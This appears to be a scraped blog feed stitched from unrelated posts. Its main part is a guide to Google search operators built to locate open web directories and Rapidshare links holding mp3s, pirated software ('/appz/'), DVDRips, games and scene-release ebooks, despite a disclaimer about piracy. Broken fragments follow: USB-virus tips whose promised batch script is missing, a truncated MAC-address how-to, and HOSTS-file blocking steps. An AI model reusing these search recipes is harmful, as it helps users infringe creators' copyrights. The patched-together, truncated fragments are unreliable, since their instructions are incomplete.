Here are few tips/tricks how to search using <a href="http://www.google.com">Google</a>
</p>

<p style="text-align: left;">This How-To will teach you how to use google to find mp3s. This How-To<br />
will be highly pragmatic and will focus on the hows and not the<br />
wherefores of the various search strings.</p>
<p style="text-align: left;">Index<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />

<em>Section 0 &#8211; KEY</em><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-
</p>
<p style="text-align: left;">You this are just some definitions I will use below.</p>
<p style="text-align: left;">[Directory String] can be any of the following :<br />
1) &#8220;index of&#8221;<br />
2) &#8220;last modified&#8221;<br />
3) &#8220;parent of&#8221;</p>
<p style="text-align: left;">[file type] can be any of the following :<br />
1) &#8220;mp3&#8243;<br />
2) &#8220;shn&#8221;<br />
3) &#8220;wma&#8221;</p>
<p style="text-align: left;">[mp3 name] can be any of the following :<br />
1) the name of the album in quotes<br />
2) the name of the artist in quotes<br />
3) be daring and leave it blank and have lots of links<br />
4) be creative!</p>
<p style="text-align: left;">[limitors]<br />
1) -html -htm -php -asp -txt -pls</p>
<p style="text-align: left;">(inurl:) is optional and may be omitted and in fact most be<br />
omitted if not using a search tool other than google.</p>
<p style="text-align: left;">(intitle:) can be used in place of (inurl:) and has a similar effect<br />
again you must be useing google.</p>
<p style="text-align: left;">(-filetype:txt) adding this to the end of your search string can<br />
filter some false positives.</p>
<p style="text-align: left;">(-playlist) adding this to the end of your search string can<br />
filter some false positives.</p>
<p style="text-align: left;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
<em>Section 1 &#8211; Directories</em><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p style="text-align: left;">These are the most common way that mp3s are stored on the www, you<br />
should try these strings first.</p>
<p style="text-align: left;">String Format :<br />
Type 1 : [Directory String] + (inurl:)[file type] + [mp3 name]<br />
Type 2 : [Directory String] + (intitle:)[file type] + [mp3 name]
</p>
<p style="text-align: left;">Type 3 : [Directory String] + [file type] + [mp3 name] + [limitors]</p>
<p style="text-align: left;">Example Strings :<br />
- intitle:index.of + mp3 + &#8220;grandaddy&#8221; -html -htm -php -asp -txt -pls<br />
- &#8220;index of&#8221; + &#8220;mp3&#8243; + &#8220;radiohead&#8221; -html -htm -php<br />
- &#8220;index of&#8221; + mp3 + &#8220;grandaddy&#8221;<br />
- &#8220;index of&#8221; + inurl:mp3 + &#8220;beatles&#8221; -txt -pls<br />
- &#8220;index of&#8221; + intitle:mp3 + beatles<br />
- &#8220;last modified&#8221; + &#8220;shn&#8221; + &#8220;dylan&#8221;<br />
- &#8220;last modified&#8221; + inurl:shn + &#8220;bob dylan&#8221;<br />
- &#8220;parent of&#8221; + inurl:wma + &#8220;grandaddy&#8221;</p>
<p style="text-align: left;">Suggestions :<br />
- Try (intitle:index.of + &#8220;mp3&#8243; + &#8220;band name&#8221; -htm -html -php -asp) first it<br />
is usually the most effective.</p>
<p style="text-align: left;">Another Little Trick:<br />
- If you have been getting alot of results on google but the pages don&#8217;t seem<br />
to be there try adding dates and the &#8220;apache&#8221; string to your search i.e.</p>
<p style="text-align: left;">- intitle:index.of + mp3 + &#8220;grandaddy&#8221; -html -htm -php -asp apache feb-2005<br />
- intitle:index.of + mp3 + &#8220;grandaddy&#8221; -html -htm -php -asp apache 2005</p>
<p style="text-align: left;">or if you just want a big list of mp3&#8242; doing a search like this everymonth<br />
- intitle:index.of + mp3 + -html -htm -php -asp apache mar</p>
<p style="text-align: left;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />

<em><br />
<strong>2nd Method:</strong></em>
</p>
<p style="text-align: left;">Here is a second example of maximizing search results on Google:</p>
<p style="text-align: left;">1. At Google Search, type in one of the following two phrases (try the first one; if you&#8217;re not happy with the results, try the second one on your second search):</p>
<p style="text-align: left;">* &#8220;index of/mp3&#8243; -playlist -html -lyrics<br />
* &#8220;index of/&#8221; mp3 -playlist -html -lyrics</p>
<p style="text-align: left;">2. If you&#8217;d like, add an artist&#8217;s name or song name to the end of the phrase, then click the Search Button.<br />
3. Here are a few examples:</p>
<p style="text-align: left;">* &#8220;index of/mp3&#8243; -playlist -html -lyrics beatles<br />
* &#8220;index of/mp3&#8243; -playlist -html -lyrics punk
</p>
<p style="text-align: left;">This tip helps you find directories filled with mp3 files by finding Apache&#8217;s Index page:</p>
<p style="text-align: left;">1. At Google Search type in the following code:<br />
2. +(&#8220;index of&#8221;) +(&#8220;/mp3&#8243;|&#8221;/mp3s&#8221;|&#8221;/music&#8221;) +(mp3|zip|rar) +apache<br />
3. By editing this code, you can search for any type of media; oog, wav, pdf, etc.<br />
4. Be sure to edit both the directory names as well as the file extensions if edited.
</p>
<p style="text-align: left;">Finding mp3 and compressed files searching by title:</p>
<p style="text-align: left;">1. At Google Search type in the following code:<br />
2. allinurl: +(mp3|rar|zip|tgz) TheTitle<br />
3. Replace TheTitle with either a song title, artist name, or album.<br />
4. Here are a few examples:<br />
* allinurl: +(mp3|rar|zip|tgz) beatles<br />
* allinurl: +(mp3|rar|zip|tgz) revolver<br />
* allinurl: +(mp3|rar|zip|tgz) greatest hits<br />

<em><strong>and other tips:</strong></em>
</p>
<p style="text-align: left;">You&#8217;ve probably seen some sites that allow you to Google their site for a certain term. This is accomplished via the &#8220;site&#8221; advanced operator. The following syntax is used for the site operator:</p>
<p style="text-align: left;"><em>site:site_to_search</em></p>
<p style="text-align: left;">For example, if we wanted to search www.projectfearless.com<br />
for the term &#8220;Nielsosky&#8221;, we would use the following:
</p>
<p style="text-align: left;">Nielsosky site:projectfearless.com</p>
<p style="text-align: left;">or</p>
<p style="text-align: left;">example:</p>
<p style="text-align: left;">site:blabla.com<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-
</p>
<p style="text-align: left;"><em>inurl:</em></p>
<p style="text-align: left;">The &#8220;inurl&#8221; advanced operator is used to search for a term within<br />
URL&#8217;s. For example, searching for &#8220;inurl:binaryuniverse&#8221; searched<br />
for all sites that have the term &#8220;binaryuniverse&#8221; in their URL.<br />
The &#8220;intitle&#8221; is used to search for a term in the title. Thus,<br />
&#8220;intitle:binaryuniverse&#8221; finds all pages with &#8220;binaryuniverse&#8221;<br />
in their title.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Google keeps caches of pages. When the Google spider indexes a page,<br />
it stores a copy of it. Thus, the cache is a copy of what the page was<br />
like at an earlier date. To view the cache for a page, you can simply<br />
search for the page, and then click the &#8220;cache&#8221; link underneath.<br />
However, there is a quicker way, that involves only typing in<br />
search terms, and not clicking. Simply type &#8220;cache:pageurl.com&#8221;<br />
to view the cache of a page (in this case pageurl.com).<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Google also allows you to search for pages of a certain filetype,<br />
using the syntax &#8220;filetype:TYPE&#8221;. Replace &#8216;TYPE&#8217; with the file type<br />
you want to search for. So, if you wanted to search for tutorials<br />
on SQL that are in PDF format, you would search for the following:</p>
<p style="text-align: left;">SQL Tutorial filetype:PDF<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p style="text-align: left;">Not only is Google the world&#8217;s best search engine, it also happens<br />
to be a mighty fine dictionary. To use it as a dictionary, just type<br />
&#8220;define:TERM&#8221;, and replace TERM with the word you wish to look up.<br />
For example, if you want to look up &#8220;roflmao&#8221;, type &#8220;define:roflmao&#8221;,<br />
without the quotes. This will give you several different resources<br />
for definitions or roflmao. Fyi, roflmao means &#8220;rolling on the floor laughing my ass off&#8221;.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
And now, it&#8217;s time for some fun &#8212; Google whacking. Actually, after<br />
a couple minutes, I have found Google whacking to become extremely<br />
boring, not to mention frustrating. A google whack is a two-word query<br />
that returns one result. You may not use quotes, and both words in<br />
the query must be real words. And yes, it is very hard.<br />
For more info, I suggest you check out http://googlewhacking.com</p>
<p style="text-align: left;">At this point, the basics of Google have been covered, and you should<br />
be a moderately good Googler.<br />

<em><strong>how to search for STUFF at google</strong></em></p>
<p style="text-align: left;"><em>method 1</em><br />
put this string in google search:
</p>
<p style="text-align: left;">&#8220;parent directory &#8221; /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums</p>
<p style="text-align: left;">&#8220;parent directory &#8221; DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums</p>
<p style="text-align: left;">&#8220;parent directory &#8220;Xvid -xxx -html -htm -php -shtml -opendivx -md5 -md5sums</p>
<p style="text-align: left;">&#8220;parent directory &#8221; Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums</p>
<p style="text-align: left;">&#8220;parent directory &#8221; MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums</p>
<p style="text-align: left;">&#8220;parent directory &#8221; Name of Singer or album -xxx -html -htm -php -shtml -opendivx -md5 -md5sums</p>
<p style="text-align: left;">Notice that i am only changing the word after the parent directory, change it to what you want and you will get a lot of stuff.</p>
<p style="text-align: left;"><em>method 2</em><br />
put this string in google search:
</p>
<p style="text-align: left;">?intitle:index.of? mp3</p>
<p style="text-align: left;">You only need add the name of the song/artist/singer.<br />
Example: ?intitle:index.of? mp3 jackson<br />
<em><br />
method 3</em><br />
put this string in google search:</p>
<p style="text-align: left;">inurl:microsoft filetype:???<br />
<em><br />
method 4</em><br />
put this string in google search:
</p>
<p style="text-align: left;">intitle:index.of.???</p>
<p style="text-align: left;"><em>method 5</em><br />
put this string in google search:</p>
<p style="text-align: left;">&#8220;name of object&#8221;download<br />
&#8220;name of object download&#8221;<br />
free &#8220;name of object&#8221;download<br />
free &#8220;name of object download&#8221;</p>
<p style="text-align: left;">Or just look for the filename(s).<br />
and instead of using the inurl: tag, use site: that works too.<br />
<em><br />
For Rapidshare:</em></p>
<p>http://www.google.com/search?q=+.zip+OR+.rar+OR+.pdf+site:rapidshare.de&#038;hl=en&#038;lr=&#038;c2coff=1&#038;as_qdr=all&#038;start=510&#038;sa=N</p>
<p style="text-align: left;">or movies:</p>
<p>http://www.google.com/search?q=+.wmv+OR+.avi+OR+.mpeg+OR+.rm+site:rapidshare.de&#038;hl=en&#038;lr=&#038;as_qdr=all&#038;start=10&#038;sa=N</p>
<p style="text-align: left;">or music:</p>
<p>http://www.google.com/search?q=+.MP3+OR+.WMA+OR+.Ogg+OR+.rm+site:rapidshare.de&#038;hl=en&#038;lr=&#038;as_qdr=all&#038;start=10&#038;sa=N</p>
<p style="text-align: left;">Just play with the extensions.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
<em><strong>E-Books</strong></em>
</p>
<p style="text-align: left;">inurl:ebook.DDU | inurl:ebook.EEN | inurl:ebook.JGT | inurl:ebook.LiB | inurl:ebook.EAT</p>
<p style="text-align: left;">There&#8217;s a few ways to differentiate from that to change the outcome in your favor as well. For example, you can take away the &#8220;inurl:&#8221; to get many hits on things like forum posts or BitTorrent links. (Helpful if you&#8217;re looking for something rare.)</p>
<p style="text-align: left;">You can also add the file type you like (such as PDF, CHM, LIT, etc) to get a specialized search. Finally, don&#8217;t forget to put () or else Google may get confused. When defining a OR statement, Google expects the () to surround it. For example, you could search for:</p>
<p style="text-align: left;">- (ebook.DDU | ebook.EEN | ebook.JGT | ebook.LiB | ebook.EAT )<br />
or<br />
- PDF (ebook.DDU | ebook.EEN | ebook.JGT | ebook.LiB | ebook.EAT )<br />
or get fancy with<br />
- (PDF | CHM | LIT | ZIP | RAR | ISO) (ebook.DDU | ebook.EEN | ebook.JGT | ebook.LiB | ebook.EAT)
</p>
<p style="text-align: left;">You can also use &#8220;Parent Directory&#8221;+ in front of it but don&#8217;t limit the search to Google, try several engines.</p>
<p style="text-align: left;">A nice site for Rabbits &amp; webbits:</p>
<p style="text-align: left;">http://www.searchlores.org/rabbits.htm</p>
<p style="text-align: left;">added 6/6/05</p>
<p style="text-align: left;">Music Filetypes:</p>
<ul style="text-align: left;">
<li> MP3</li>
<li> WMV</li>
<li> WAV</li>
<li> AIF</li>
<li> AIFF</li>
</ul>
<p style="text-align: left;">Movie Filetypes:</p>
<ul style="text-align: left;">
<li> MPG</li>
<li> MPEG</li>
<li> AVI</li>
<li> WMV</li>
<li> RM</li>
<li> MOV</li>
</ul>
<p style="text-align: left;">Picture Filetypes:</p>
<ul style="text-align: left;">
<li> JPG</li>
<li> JPEG</li>
<li> GIF</li>
<li> TIFF</li>
<li> TIF</li>
<li> PNG</li>
<li> BMP</li>
</ul>
<p style="text-align: left;">Compressed Filetypes (Used to search for programs):</p>
<ul style="text-align: left;">
<li> ZIP</li>
<li> RAR</li>
<li> ISO</li>
<li> BIN</li>
<li> EXE &lt;- Be extremely careful when searching for EXE files, make sure you run a complete virus scan on any of the compressed filetypes.</li>
</ul>
<p style="text-align: left;">Document Filetypes:</p>
<ul style="text-align: left;">
<li> DOC</li>
<li> RTF</li>
<li> TXT</li>
<li> PDF</li>
<li> SWX</li>
</ul>
<p style="text-align: left;">These are just a few of the things that you can search for using Google. It is an extremely powerful tool that can be used to find just about anything you could ever want on the internet. While I am not condoning pirating and filesharing, I feel that the sharing of information is absolutely essential to the survival of the internet. After all, the internet was founded on the idea of sharing information, Google just allows us to index all of that information into an easily searched archive.</p>

			<content:encoded><![CDATA[<p align="justify">There are many ways to protect your computer against usb/flash viruses.</p>
<p align="justify"><strong>1.Don’t use usb/flash drives</strong></p>
<p align="justify">If you will not use any usb/flash drive then there is no chance you will get usb/flash drive viruses.</p>
<p align="justify"><strong>2.Turn of auto play</strong></p>
<p align="justify">You can do this by going to Run and type “gpedit.msc” (In windows vista press start menu + R to goto run), then press enter. Now goto</p>
<p align="justify">Computer Configuration &gt; Administrative Templates &gt; System</p>
<p align="justify">There you will see Turn off autoplay, double click on it and Enable it and select All drives</p>
<p align="justify"><strong>3.Always right click on usb/flash drive to open it.</strong></p>
<p align="justify">Usb viruses executes when you double click on it, it run autorun.inf file hidden in usb, which executes the virus. So if you will never double click on the usb , there is no chance that you will get a virus.</p>
<p align="justify"><strong>4. Use script before accessing to usb/flash drive</strong></p>
<p align="justify">I’ve created this script, which will delete autorun.inf file from your usb drive automatically, so if you will run this script, there is almost 95% chance that you will not get virus in your system.</p>
<p align="justify"><span id="more-37"></span></p>
<p align="justify">Create a new file using notepad or any text editor and paste following code in it</p>

<p>then save file to “C:\windows\system32\”  as “usbvirusremove.bat” . After saving this file as “usbvirusremove.bat” close the opened code and then whenever you have to use usb, you just have to insert usb, run this file by going to run and type “usbvirusremove.bat” and then it will automatically remove all the autorin.inf files in it</p>

			<content:encoded><![CDATA[<h5>First of all , question is what is MAC address?</h5>
<p align="justify">Mac address or media access control address, is a unique identifier assigned to most network adapters or network interface cards (NICs) by the manufacturer for identification. If assigned by the manufacturer, a MAC address usually encodes the manufacturer&#8217;s registered identification number. This is also known as physical address.</p>
<h5>Now how to change MAC address?</h5>
<h5><a href="http://ahsun.xenoglaux-solutions.com/wp-content/uploads/2009/04/image1.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" src="http://ahsun.xenoglaux-solutions.com/wp-content/uploads/2009/04/image-thumb1.png" border="0" alt="image" width="247" height="166" /></a></h5>
<p align="justify"><strong>Step1</strong><br />
Right click local area network choose support tab choose details.<br />
Make a note of the Physical Address..<br />
00-00-00-00-00-00..<br />
The above is an example MAC address
</p>
<p align="justify"><a href="http://ahsun.xenoglaux-solutions.com/wp-content/uploads/2009/04/image2.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" src="http://ahsun.xenoglaux-solutions.com/wp-content/uploads/2009/04/image-thumb2.png" border="0" alt="image" width="244" height="167" /></a></p>

			<content:encoded><![CDATA[<p>You can easily and effectively block access to a website by adding it to your Windows HOSTS file. Without any software. Doesn&#8217;t matter what browser that you use.<br />
1.Go to your HOSTS file which is located at:<br />
C:WINDOWSSYSTEM32DRIVERSETC for windows Vista and XP<br />
C:WINNTSYSTEM32DRIVERSETC for Windows 2k<br />
C:WINDOWS for Windows 98 and ME</p>
<p>2. Open HOSTS with Notepad.<br />
<span id="more-21"></span>The default Windows HOSTS looks like this:<br />
______________________<br />
# Copyright © 1993-1999 Microsoft Corp.<br />
#<br />
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.<br />
#<br />
# This file contains the mappings of IP addresses to host names. Each<br />
# entry should be kept on an individual line. The IP address should<br />
# be placed in the first column followed by the corresponding host name.<br />
# The IP address and the host name should be separated by at least one<br />
# space.<br />
#<br />
# Additionally, comments (such as these) may be inserted on individual<br />
# lines or following the machine name denoted by a &#8220;#&#8221; symbol.<br />
#<br />
# For example:<br />
#<br />
# 102.54.94.97 rhino.acme.com # source server<br />
# 38.25.63.10 x.acme.com # x client host<br />
#<br />
127.0.0.1 localhost<br />
_____________________________<br />
3. Directly under the line that says 127.0.0.1 Localhost, you will want to type:<br />
127.0.0.1 name of the URL you want to block<br />
For example to block the MySpace.com homepage (highly recommended!), simply type:<br />
127.0.0.1 myspace.com<br />
127.0.0.1 <a href="http://www.myspace.com">www.myspace.com</a><br />
Other parts of MySpace could be blocked in a similar way:<br />
